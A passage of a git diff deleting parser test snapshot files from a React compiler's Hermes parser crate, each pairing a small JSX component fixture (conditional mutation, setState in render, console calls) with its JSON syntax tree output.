-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      794,
-                      799
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "d",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      800,
-                      801
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    794,
-                    801
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                787,
-                802
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              787,
-              803
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                813,
-                814
-              ]
-            },
-            "loc": null,
-            "range": [
-              806,
-              815
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          692,
-          817
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        665,
-        817
-      ],
-      "loc": null,
-      "range": [
-        665,
-        817
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    44,
-    817
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@conditional-on-mutable.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@conditional-on-mutable.js.snap
deleted file mode 100644
index e1a9aac46e47..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@conditional-on-mutable.js.snap
+++ /dev/null
@@ -1,1060 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/conditional-on-mutable.js
----
-Input:
-function ComponentA(props) {
-  const a = [];
-  const b = [];
-  if (b) {
-    a.push(props.p0);
-  }
-  if (props.p1) {
-    b.push(props.p2);
-  }
-  return <Foo a={a} b={b} />;
-}
-
-function ComponentB(props) {
-  const a = [];
-  const b = [];
-  if (mayMutate(b)) {
-    a.push(props.p0);
-  }
-  if (props.p1) {
-    b.push(props.p2);
-  }
-  return <Foo a={a} b={b} />;
-}
-
-function Foo() {}
-function mayMutate() {}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "ComponentA",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          19
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            20,
-            25
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    37,
-                    38
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    41,
-                    43
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  37,
-                  43
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              31,
-              44
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    54
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    57,
-                    59
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  53,
-                  59
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              47,
-              60
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                67,
-                68
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          76,
-                          77
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          78,
-                          82
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        76,
-                        82
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            83,
-                            88
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "p0",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            89,
-                            91
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          83,
-                          91
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      76,
-                      92
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    76,
-                    93
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                70,
-                97
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              63,
-              97
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  104,
-                  109
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "p1",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  110,
-                  112
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                104,
-                112
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          120,
-                          121
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          122,
-                          126
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        120,
-                        126
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            127,
-                            132
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "p2",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            133,
-                            135
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          127,
-                          135
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      120,
-                      136
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    120,
-                    137
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                114,
-                141
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              100,
-              141
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    152,
-                    155
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "a",
-                      "loc": null,
-                      "range": [
-                        156,
-                        157
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          159,
-                          160
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        158,
-                        161
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      156,
-                      161
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "b",
-                      "loc": null,
-                      "range": [
-                        162,
-                        163
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          165,
-                          166
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        164,
-                        167
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      162,
-                      167
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  151,
-                  170
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                151,
-                170
-              ]
-            },
-            "loc": null,
-            "range": [
-              144,
-              171
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          27,
-          173
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        173
-      ],
-      "loc": null,
-      "range": [
-        0,
-        173
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "ComponentB",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          184,
-          194
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            195,
-            200
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    212,
-                    213
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    216,
-                    218
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  212,
-                  218
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              206,
-              219
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    228,
-                    229
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    232,
-                    234
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  228,
-                  234
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              222,
-              235
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mayMutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  242,
-                  251
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    252,
-                    253
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                242,
-                254
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          262,
-                          263
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          264,
-                          268
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        262,
-                        268
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            269,
-                            274
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "p0",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            275,
-                            277
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          269,
-                          277
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      262,
-                      278
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    262,
-                    279
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                256,
-                283
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              238,
-              283
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  290,
-                  295
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "p1",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  296,
-                  298
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                290,
-                298
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          306,
-                          307
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          308,
-                          312
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        306,
-                        312
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            313,
-                            318
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "p2",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            319,
-                            321
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          313,
-                          321
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      306,
-                      322
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    306,
-                    323
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                300,
-                327
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              286,
-              327
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    338,
-                    341
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "a",
-                      "loc": null,
-                      "range": [
-                        342,
-                        343
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          345,
-                          346
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        344,
-                        347
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      342,
-                      347
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "b",
-                      "loc": null,
-                      "range": [
-                        348,
-                        349
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          351,
-                          352
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        350,
-                        353
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      348,
-                      353
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  337,
-                  356
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                337,
-                356
-              ]
-            },
-            "loc": null,
-            "range": [
-              330,
-              357
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          202,
-          359
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        175,
-        359
-      ],
-      "loc": null,
-      "range": [
-        175,
-        359
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          370,
-          373
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          376,
-          378
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        361,
-        378
-      ],
-      "loc": null,
-      "range": [
-        361,
-        378
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "mayMutate",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          388,
-          397
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          400,
-          402
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        379,
-        402
-      ],
-      "loc": null,
-      "range": [
-        379,
-        402
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    402
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@conditional-set-state-in-render.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@conditional-set-state-in-render.js.snap
deleted file mode 100644
index a27e9f4b1008..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@conditional-set-state-in-render.js.snap
+++ /dev/null
@@ -1,386 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/conditional-set-state-in-render.js
----
-Input:
-function Component(props) {
-  const [x, setX] = useState(0);
-
-  const foo = () => {
-    setX(1);
-  };
-
-  if (props.cond) {
-    setX(2);
-    foo();
-  }
-
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        37,
-                        38
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "setX",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        40,
-                        44
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    36,
-                    45
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      48,
-                      56
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        57,
-                        58
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    48,
-                    59
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  59
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              60
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "foo",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    70,
-                    73
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "setX",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              88,
-                              92
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "NumericLiteral",
-                              "value": 1.0,
-                              "loc": null,
-                              "range": [
-                                93,
-                                94
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            88,
-                            95
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          88,
-                          96
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      82,
-                      100
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    76,
-                    100
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    76,
-                    100
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  70,
-                  100
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              64,
-              101
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  109,
-                  114
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  115,
-                  119
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                109,
-                119
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "setX",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        127,
-                        131
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "NumericLiteral",
-                        "value": 2.0,
-                        "loc": null,
-                        "range": [
-                          132,
-                          133
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      127,
-                      134
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    127,
-                    135
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "foo",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        140,
-                        143
-                      ]
-                    },
-                    "arguments": [],
-                    "loc": null,
-                    "range": [
-                      140,
-                      145
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    140,
-                    146
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                121,
-                150
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              105,
-              150
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                161,
-                162
-              ]
-            },
-            "loc": null,
-            "range": [
-              154,
-              163
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          165
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        165
-      ],
-      "loc": null,
-      "range": [
-        0,
-        165
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    165
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@console-readonly.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@console-readonly.js.snap
deleted file mode 100644
index 9a41156bc9a5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@console-readonly.js.snap
+++ /dev/null
@@ -1,503 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/console-readonly.js
----
-Input:
-function Component(props) {
-  const x = makeObject(props);
-  // These calls should view x as readonly and be grouped outside of the reactive scope for x:
-  console.log(x);
-  console.info(x);
-  console.warn(x);
-  console.error(x);
-  console.trace(x);
-  console.table(x);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      50
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        51,
-                        56
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    57
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  57
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              58
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "console",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    156,
-                    163
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "log",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    164,
-                    167
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  156,
-                  167
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    168,
-                    169
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                156,
-                170
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              156,
-              171
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "console",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    174,
-                    181
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "info",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    182,
-                    186
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  174,
-                  186
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    187,
-                    188
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                174,
-                189
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              174,
-              190
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "console",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    193,
-                    200
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "warn",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    201,
-                    205
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  193,
-                  205
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    206,
-                    207
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                193,
-                208
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              193,
-              209
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "console",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    212,
-                    219
-                  ]
-                },
-                "property": {
